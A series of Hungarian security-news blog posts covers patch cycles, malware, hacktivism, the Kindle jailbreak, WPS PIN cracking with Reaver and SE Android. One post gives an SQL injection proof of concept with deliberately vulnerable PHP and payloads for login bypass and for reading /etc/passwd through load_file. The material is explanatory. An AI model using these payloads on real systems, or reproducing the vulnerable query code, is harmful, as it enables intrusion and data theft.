Megjelent az Oracle negyedéves frissítésainak menetrendszerinti darabja. Az előző héten tévedtem a javításra kerülő hibákkal kapcsolatban, autentikáció nélküli kódfuttatásra alkalmas sebezhetőséget ugyanis nem látok a listában, bocs! Az Oracle szerint a legkellemetlenebb javított sebezhetőség az adatbázis szerver lelövésére ad lehetőséget, távolról, autentikáció nélkül, de hasonló probléma érinti a Solaris TCP/IP stackjét is.
Régebben én is filozofáltam egy sort az Oracle CVSS számítási módszerén, úgy látszik nem ok nélkül. A januári CPU örömére ezzel kapcsolatban is megjelent egy hosszabb, tisztázó poszt.
Izraeli vs. szaudi hackerek
Az MTI egész korrekt összefoglalót közölt, az Izrael és Szaud-Arábia közötti virtuális adok-kapokról. Szvsz. ezek az akciók körülbelül annyira relevánsak, mint az Anonok fenyegetései a mexikói drogkartellek felé: a deface-elgetés meg néhány kB adat publikálása nem lesz hatással arra, hogy ki, mikor, kit lő le/robbant fel.
Facebook vs. Koobface
A Facebook nyilvánosságra hozta a Koobface féreg mögötti szervezet tagjainak nevét és profilját. A Koobface még 2008-ban kezdett el terjedni a közösségi hálózaton, Adobe Flash frissítésnek álcázva magát. A Facebook biztonsági csapata azóta folyamatosan dolgozott a károk enyhítésén, illetve a tettesek kézrekerítésén. Az erőfeszítések eredményeként a féreg 9 hónapja eltűnt a Facebookról, de más közösségi oldalakon továbbra is aktív maradt.
Mivel a legújabb Hacktiont még nem látom TeCsőn, nézzétek ezt (thx detritus!):
A Niobium Attack Research volt olyan kedves, és megosztott velem (és veletek, vagyis velünk ;) egy érdekes ötletet a vak SQL injection támadások kiterjesztésére, a vakság "meggyógyítására". Az alább olvasható leírás az ő leírásuk általam megszerkesztett változata:
Az alant elterülő - megtörtént eset alapján összeállított - PoC alapból PHP blind injectet tesz lehetővé, de kis reszeléssel kihozható belőle közvetlen adatolvasás is:
$conn = mysql_connect('127.0.0.1','root','') or die('connfail');
mysql_select_db('teszt', $conn) or die('selectdbfail');
$res = mysql_query('SELECT `id` FROM `auth` WHERE `username`=\''.
$_POST['username'].'\' AND `password`= \''.md5($_POST['password']).
'\'', $conn) or die(mysql_error($conn));
if(mysql_num_rows($res) == 0)
{
die('loginfail');
}
else
{
list($id) = mysql_fetch_array($res);
$res = mysql_query('SELECT `realname`,`email` FROM '.
'`userdata` WHERE `id`='.$id, $conn) or die(mysql_error($conn));
list($realname, $email) = mysql_fetch_array($res);
print "Hello $realname ($email)";
}
>> username=johndoe&password=asdfghjkl123 << Hello John Doe (doe@john.com)
Sikertelen login:
>> username=x&password=x << loginfail
SQL injection próba:
>> username='&password=x << You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '9dd4e461268c8034f5c8564e155c67a6'' at line 1
Tiszta, nézzünk meg egy autentikáció megkerülést:
>> username=' or 1 -- - << Hello John Doe (doe@john.com)
Ez is működik, akkor most próbáljunk valami szokatlant:
>> username=noSuchUser' union select -1 -- -&password=x << Hello ()
A felhasználói adatok nem találhatók, mivel nincs -1-es ID a másik táblában.
>> username=noSuchUser' union select x -- -&password=x
<< Unknown column 'x' in 'field list'
Az auth táblában tényleg nincs x nevű mező, hozzáadunk pár aposztrófot:
>> username=noSuchUser' union select 'x' -- -&password=x
<< Unknown column 'x' in 'where clause'
Na, ez már a másik query! És itt a lényeg: tetszőleges stringet tudunk az első queryből SELECT-elni, amit a másodikban felhasználunk, vagyis a második lekérdezést az elsőn keresztül injektáljuk. Ezt nézzétek:
>> username=noSuchUser' union select '0 union select load_file("/etc/passwd"),1 ' -- -&password=x
Vannak jó meg rossz híreim is, kezdem a rosszakkal. Ezek Kardhaltól jöttek, több mint egy hete értesítettem az üzemeltetőket, választ nem kaptam:
Sajnos még nincs vége, ez ptZool-tól jött:
Ez pedig Csiszitől:
De vannak azért jó hírek is: Ebben az évben már 6 weboldalon sikerült különböző biztonsági hibákat javítani, ami szerintem szép eredmény két hét alatt! A socialtimes.hu és egy másik, magát megnevezni nem kívánó cég még jutalmat is felajánlott a hibák felfedezőinek, ezt a gesztust a "szakma" nevében ezúton is köszönöm nekik, remélem mások is követik a példájukat, és biztonsági hibajelentéseket nem fenyegetésként, hanem segítségként fogják majd fel!
Yifan Lu közzétett egy jópofa módszert az új Kindle Touch Jailbreakelésére. Míg az olvasó régebbi változatainak felhasználói felületét jórészt Java-ban rakták össze, az 5-ösben már leginkább HTML5-öt és JavaScriptet alkalmaztak. A hatékonyság növelése érdekében a fejlesztők lehetővé tették, hogy bizonyos alacsony szintű funkciókat JavaScripten keresztül közvetlenül el lehessen érni. Egy ilyen bridge-elt metódus a operációsrendszer szintű parancsok futtatására alkalmas nativeBridge.dbgCmd(), amely a böngészőből ugyan nem érhető el, de már sejthetitek, hogy innentől nem volt nehéz a korlátlan parancsvégrehajtás elérése. Lu a médialejátszón keresztül érte el a dbgCmd()-t úgy, hogy HTML és JavaScript kódot helyezett el egy lejátszandó MP3 fájl ID3 cimkéibe. Amikor a fájlt megnyitjuk a lejátszóval, megjelennek a számra vonatkozó adatok, és lefutnak a beszúrt kódok, rootként.
A felhasználóbarátság érdekében Lu az MP3 fájl kommentárjába helyezett shellkóddal egy új fejlesztői kulcsot installál az eszközre, így a továbbiakban tetszőleges alkalmazás futtathatóvá válik az eszközön, és a jailbreak még egy csinos splash-t is megjelenít munka közben, a kép bájtjait az MP3 fájl végéről olvassa ki a shellkód.
Bár az első, és talán legfontosabb lépést Lu már megtette, az sem marad feladat nélkül, aki ezek alapján kedvet kapott az eszköz hackeléséhez. Először is el lehet kezdeni rootolt eszközre szánt alkalmazásokat fejleszteni - a gyári szoftver egyelőre nem használja ki a beépített gyorsulásmérő és közelségérzékelő lehetőségeit. Másrészt a maradék natív és Java kód elemzése is bizonyára rengeteg feltárandó hibát rejt, melyek feltárása a kihívás mellett biztonsági szempontból is fontos lehet.
Emlékeim szerint ez volt az utóbbi időben a harmadik Anonymous fenyegetés Magyarország irányába a kormány lépései miatt. Ezekkel a lépésekkel én sem feltétlenül értek egyet, de ami itt világmegváltás címen folyik, az egyszerűen nevetséges. Az eddigiekhez hasonlóan ez az erődemonstráció is kimerült annyiban, hogy összeraktak egy közleményt, amiben ellőték az összes közhelyet, ami a belpolitikai események hozzájuk eljutott részéről, a bankrendszerről, meg a világösszeesküvésről eszükbe jutott, ebből csináltak egy videót, meg megpóbáltak nekimenni néhány gov.hu-s weboldalnak illetve a fidesz.hu-nak. A célpontok listáját a neten reklámozták, ráadásul Etherpad-en, ami HTTP üzenetekben szivárogtatja a szerkesztő felhasználók IP-jét:
A lista később a kormany.hu-val is kiegészült, az alkotó itt ráadásul gyakorlatilag saját néven dolgozott, reméljük nem törik rá szerencsétlenre a TEK-esek az ajtót! Eredményt eddig persze nem láttunk, pedig...
Szóval kedves gyerekek! Attól, hogy láttátok a V, mint Vendettát, még nem fogjátok jobban megérteni a világot, nem lesztek erősebbek, ügyesebbek vagy okosabbak, és bármilyen szomorú is belátni, Natalie Portman még plátói érzelmeket sem fog irántatok táplálni. Keressetek valami hasznosabb elfoglaltságot, mert attól, hogy kiírjátok az internetre, honnan lehet PDF-ben Guy Fawkes maszkot letölteni, még nem fog megváltozni a világ.
Tíz éves Bill Gates Trustworthy Computing memója
2002 januárjában született meg Bill Gates híres jegyzete, ami gyökeres változást indított el a Microsoft biztonsághoz történő hozzáállásában. Minden bizonnyal ennek is köszönhető például, hogy Windows 2008 Server-eket támadni nem vicces, de felhozhatnám az SDL-t is, összességében a legfontosabb pozitívuma a történetnek talán az, hogy az offenzív és defenzív oldal véget nem érő játékának felpörgetésével olyan eredmények jöhettek létre mindkét térfélen, melyek motiváció hiányában másként jó eséllyel nem születhettek volna meg. Érdemes elolvasni Michael Howart visszatekintését az elmúlt tíz évre.
Ha már Microsoft: érdemes újra csekkolni az utóbbi hetek MS-os posztjait, elég sok mindent frissítettem!
Az Oracle 79 sebezhetőséget tervez javítani szokásos negyedéves foltozási ciklusában. A csomag jövő kedden érkezik, és ahogy azt már megszokhattuk távolról, autentikáció nélkül kihasználható, kódfuttatásra alkalmas sebezhetőséget is javít.
Katonai smartcardokra utazik a Sykipot trójai
Az AlienVault szakértői szerint a régebb óta ismert Sykipot trójai legújabb változata az amerikai hadsereg okoskártyáinak adataira vadászó modullal bővült. A kártevő jó eséllyel Kínából származik, robotrepülőkről szóló híreket ígérő célzott adathalász e-mailekben terjesztették, a telepítéshez pedig IE és Adobe Reader hibákat használtak ki.
jajjjajajajaj, a legfontosabbat elfelejtettem! Hacktion S01E13 :)
Stefan Viehböck és Craig Heffner december végén egymástól függetlenül számoltak be egy új módszerről a WiFi hálózatok titkosításának kijátszására. A módszer egy kényelmi funkció, a Wireless Protected Setup (WPS) tervezési hibáját használja ki.
A WPS lényege, hogy a hozzáférési pont el tudja küldeni a titkosítási beállításokat a hozzá kapcsolódni kívánó eszközöknek, ha azok ismerik az AP 8 jegyű PIN kódját. A szabványt kielégítő eszközök három féle lehetőséget ajánlhatnak fel a konfigurációra, ezek közül kettő egy AP-n lévő gomb nyomogatását, vagyis fizikai hozzáférést igényel, a harmadik viszont csak a PIN-t kéri, ez utóbbival van a baj.
Mivel a protokollüzenetek kiszámítása viszonylag komoly feladat egy átlag AP számára, az online brute-force túlzottan lassú, még egy ilyen kis kulcstér esetén is. A kutatók azonban rámutattak arra, hogy a protokoll külön üzenetekkel jelzi a PIN első és utolsó négy számjegyének helyességét, így 10^8 helyett csak 2*10^4 lehetőséget kell végigpróbálgatni, ami viszont már kivitelezhető. Logikus lépés lenne egy időre kizárni a túl sokat próbálkozó delikvenseket, ezt a biztonsági funkciót azonban a publikáció szerint a legtöbb gyártó nem valósítja meg.
Bár a hír még decemberi, egész eddig nem posztoltam róla, mert bár a WEP óta már nehezen lepődök meg bármilyen WiFi-biztonsági bakin, azért ekkora hátsó ajtót nyitni mégis abszurdnak tűnt. Másrészt a kiadott doksi is elég hígnak látszik: sok a lényegtelen táblázat, kevés a konkrét információ, és még az sincs egyértelműen leírva, hogy a tesztelt eszközök valójában elestek-e a támadástól, és ha igen, konkrétan mennyi idő alatt.
Így hát nekiálltam tesztelni a kéznél lévő eszközökkel: egy Netgear WNDR3700 és egy TP-Link WR841N routerrel (ez a fenti videóban szereplő eszköz kistestvére). A Netgearnél nem találtam external registrar opciót (nem beszélve arról, hogy ezek az eszközök elvileg ki is zárják a túl bőszen próbálkozókat). Ebből már leszűrhető, hogy attól, hogy egy termék WPS hitelesített, még egyáltalán nem biztos, hogy egy PIN megadása elég a konfigurációhoz, így a sebezhetőség nem használható ki minden ilyen eszközön.
A TP-Linknél elméletileg lehetséges a tisztán PIN-alapú konfiguráció, de sem a wpscrack.py sem a Reaver nem működött, pedig három WiFi kártyával, köztük a több csatában bizonyított D-Link DWL-G650-nel is próbálkoztam (thx Dnet!). Itt fontos megjegyezni azt is, hogy ez a készülék (és a videóban szereplő) nem WPS hitelesített, hanem a TP-Link QSS-nek nevezett WPS-mutációját használják, így a fenti támadás reprodukálásával sem lehetne messzemenő következtetést levonni az összes WPS hitelesített termékkel kapcsolatban.
Le kell szögezni, hogy a protokollban szarvashibát vétettek, amit valahogy kezelni kell a későbbiekben. Jelenleg azonban úgy látom, hogy a probléma gyakorlati hatásával kapcsolatban erősen túlzó kijelentések láttak napvilágot. Persze jobb félni, mint megijedni, a WPS lekapcsolásába senki nem fog belehalni. Ha tehetitek, futtassatok teszteket ti is, az eredményeket kíváncsian várom!
Frissítés:
Végül nekem is sikerült működésre bírnom a Reaver-t, a trükk az, hogy airmon-t kell használni a monitor módba állításhoz, az iwconfig nem jó. A QSS-es TP-Linkek úgy tűnik, hullanak (10-12 óra törési idő), más gyártók WPS hitelesített termékeivel kapcsoltban viszont jöhetne még visszacsatolás!
Az Adobe kiadta szokásos negyedéves frissítőcsomagját a Reader és Acrobat termékekhez. A frissítés számos kódfuttatásra alkalmas hibát javít, köztük a Lockheed-Martinhoz (a forrást a közlemény is megerősíti) legutóbb bebombázott, a termékek 9-es főverziójában már javított sebezhetőségeket is az X-es vonulatban.
A frissítéssel új biztonsági lehetőség is érkezik: A JavaScript támogatás ezentúl nem csak GO/NOGO állapotban lehet, hanem fehérlista segítségével engedélyezhetjük a megbízható szkripteket, így nem kell lemondanunk az üzletileg kritikus PDF-be ágyazott JavaScriptekről a biztonság érdekében :P
Az év első fekete keddjén a Microsoft nem gurított különösen nagyot - az igazán félelmetes .NET sebezhetőséget még decemberben kivégezték.
MS12-001: Windows XP SP3-on kívül minden támogatott operációsrendszer verzióban javítani kellett egy SafeSEH "megkerülésre" alkalmas hibát. A probléma Visual Studio .NET 2003 RTM-mel fordított binárisok esetén jelentkezik, mivel ezekben a Load Configuration Directory PE fejléc hosszabb a Windows által elvártnál, ezért az operációs rendszer úgy veszi, hogy a SafeSEH nincs bekapcsolva, a kivételkezelő eljárásokat nem kell futásidőben ellenőrizni. A javítás megnöveli a Windows által elfogadható maximális mezőméretet, így az érintett binárisok újrafordítására nincs szükség.
MS12-002: "Csomagolt objektumokat" (packaged object) tartalmazó fájlok megnyitásakor a Windows XP és 2003 először az aktuális könyvtárban keres bizonyos futtatható állományokat, így egy távoli megosztáson lévő fájl megnyitásakor előfordulhat, hogy a megosztáson lévő, rosszindulatú kód fut le az elvárt helyett.
MS12-003: Erre a hónapra is jutott egy CSRSS jogosultságkiterjesztés. A probléma a Windows 7-en valamint a 2008 Itaniumra illetve x64-re szánt változatain kívül minden támogatott Windows verziót érint.
MS12-004: Két hibajavítás a Windows Media Playerhez illetve a Windows DirectShow komponenséhez. A hibák kihasználásával kódfuttatás érhető el, amennyiben a felhasználó speciálisan összeállított médiafájlokat nyit meg. A DirectShow hiba harmadik fél által gyártott médialejátszókón keresztül is kihasználható. Elkerülő illetve megerősítő megoldások olvasható az SRD blogon.
MS12-005: A Windows összes támogatott verzióján kódfuttatás érhető el Office dokumentumokba ágyazott ClickOnce alkalmazások segítségével. A javítás nem biztonságossá minősíti az ilyen alkalmazásokat, ezzel megakadályozva azok dokumentumokba történő beágyazását. Friss: részletes leírás a hibáról itt olvasható. Friss2:Itt van még egy elemzés meg egy demonstrációs videó.
MS12-006: Az SSL/TLS protokoll-megvalósítás javítása a BEAST támadás kivédésének érdekében a Windows összes támogatott verziójához.
MS12-007: A Microsoft AntiXSS könyvtár szűrőmechanizmuzásának megkerülésére alkalmas hiba javítása.
Feltehetően a Symantec egy indiai partnerétől sikerült megszereznie a Norton Antivirus egy 2005-ös forráskódját a The Lords of Dharmaraja csoportnak, akik ki szerették volna tenni az összes adatot a netre az indiai kormány lehallgatási politikája elleni tiltakozásul. Erre azóta nem került sor, csak két "kóstoló" került ki Pastebinre. Az egyik egy API dokumentáció, amásik pedig egy fájllista. Persze a teljes forráskód közlése sem okozott volna túl nagy zavart az erőben, figyelembe véve a kód korát illetve azt a tényt, hogy a ennek a víruskergetőnek a megkerüléséhez sem volt szükség soha a forráskódra.
Hátsó kapuk az indiai kormánynak
Valószínűleg nem független az előző esettől, hogy kiszivárgott egy dokumentum, mely szerint mások mellett a RIM, a Nokia és az Apple is hátsó kaput biztosító technológiát biztosított az eszközeikhez az indiai kormány számára, melyet fel is használtak az USA és Kína közti gazdasági és biztonsági tárgyalások megfigyeléséhez.
200G adatot nyúltak a Stratfortól
Ugyan nem múlt heti hír, de Anonymousék kivételesen valami komolyabbat villantottak, az esetről kiváló összefoglalót olvashattok a Breach blogon. A dumpban talált jelszvakaról remek kis elemzést hozott a The Tech Herald.
Javítás a gyújtogatós HP hibára
Szintén nem idei sztori, de annak idején nagy hiszti kerekedett abból a kutatásból, ami felvetette egyes HP nyomtatók jogosulatlan firmware frissítéssel történő felgyújtásának lehetőségét (de szép mondat volt ez...). Mint kiderült, azért a dolognak szó szerint nagyobb a füstje mint a lángja: bár a tűz keletkezése nem zárható ki teljesen, a nyomtatókban lévő biztonsági termosztát általában a papír gyúlladáspontjának elérése előtt lelövi az eszközt, de a lapok még megperzselődnek :) A biztonsági hiba persze számos más célra is kihasználható, a HP ki is adott egy frissítést, csak azt felejtették el közölni, hogy pontosan mely eszközök érintettek. Ehhez csak gratulálni tudok!
Egy OxOmar nicket használó, feltehetően szaudi illetőségű, de Mexikóban élő támadó kétrészletben összesen nagyjából 26.000 izraeli hitálkártya adatait tette közzé. Ennek az izraeli hatóságok nem annyira örülnek, nyilatkozatukban leszögezik, hogy a hackereket is ugyanolyan bánásmódban részesítik, mint a terroristákat.
Adobe és Microsoft biztonsági javítások a jövő héten
Az Adobe és a Microsoft is termékei rendszeres frissítésére készül, melegítsétek a telepítőizmokat! Érekes mellékszál, hogy néhány perce került ki exploit-DB-re egy állítólagos Office XP 0day.
Ráadásként pedig nézzétek meg a remek Hacktion sorozat legfrissebb részét :)
Mivel ez az egész híradósdi pénteken jutott eszembe, biztos kihagytam pár dolgot, a kiegészítéseket/kommentárokat ne tartsátok magatokban.
Az SE Linux projekt bejelentette az SE Android elérhetőségét, melynek célja, hogy az SELinux által megvalósított Mandatory Access Controlt Androidon is elérhetővé tegye.
Miért van erre szükség? Mindenek előtt fontosnak tartom megjegyezni, hogy az átlagos Android felhasználók biztonságára a legnagyobb veszélyt még mindig saját ostobaságuk jelenti, a legtöbb Marketen elérhető malware ugyanis egyszerűen elkéri a számára szükséges jogosultságokat, amit rendszerint meg is kap.
Ezen semmilyen szoftver nem fog tudni segíteni, de vannak tisztán technológiai problémák is, melyeken jó lenne mielőbb úrrá lenni:
Egyrészt sajnos a felhasználók mellett a fejlesztők sem mindig biztonságtudatosak. A Skype androidos kiadásában például mindenki számára olvasható fájlban kerültek eltárolásra a felhasználók adatai, így bármely más alkalmazás ki tudta olvasni azokat. Ha a fájlhozzáférések korlátozásának felelősségét az app fejlesztő helyett a felhasználó kezébe adjuk, egy jó alapértelmezett szabályrendszerrel az ilyen jellegű problémák elkerülhetővé válnak.
Mélyebben fekvő tervezési hiányosságokra világított rá Anthony Lineberry a DEFCON 18-on tartott előadásában. Ezeknek egy különösen figyelemre méltó halmaza épít az Andorid különböző IPC lehetőségeire, melyek kihasználásával például egy hálózati hozzáférést nem igénylő alkalmazás kinzézhet az internetre a böngészőn keresztül. Az alábbi videó demonstrálja a problémát egy távoli shell nyitásával:
A problémák harmadik osztályát a különböző kernel-sebezhetőségek jelentik, melyekkel szemben sajnos az SE Android sem tud teljes körű védelmet nyújtani, az alkalmazások és a rendszerkomponensek hatékonyabb elválasztásával viszont a támadók mozgástere jelentősen csökkenthető.
Ezek alapján az SE Android egyelőre a paranoiásabb kockák játékszere lehet, nem tartom azonban kizártnak, hogy a jövőben az apptelepítési kultúra illetve az Android Market szűrési mechanizmusainak fejlődésével - ami a szofisztikáltabb támadások megjelenését fogja eredményezni - szélesebb körben is szükségessé válhat a hardening megoldás telepítése, de hasonló megoldásra igény mutatkozhat vállalati környezetben is.
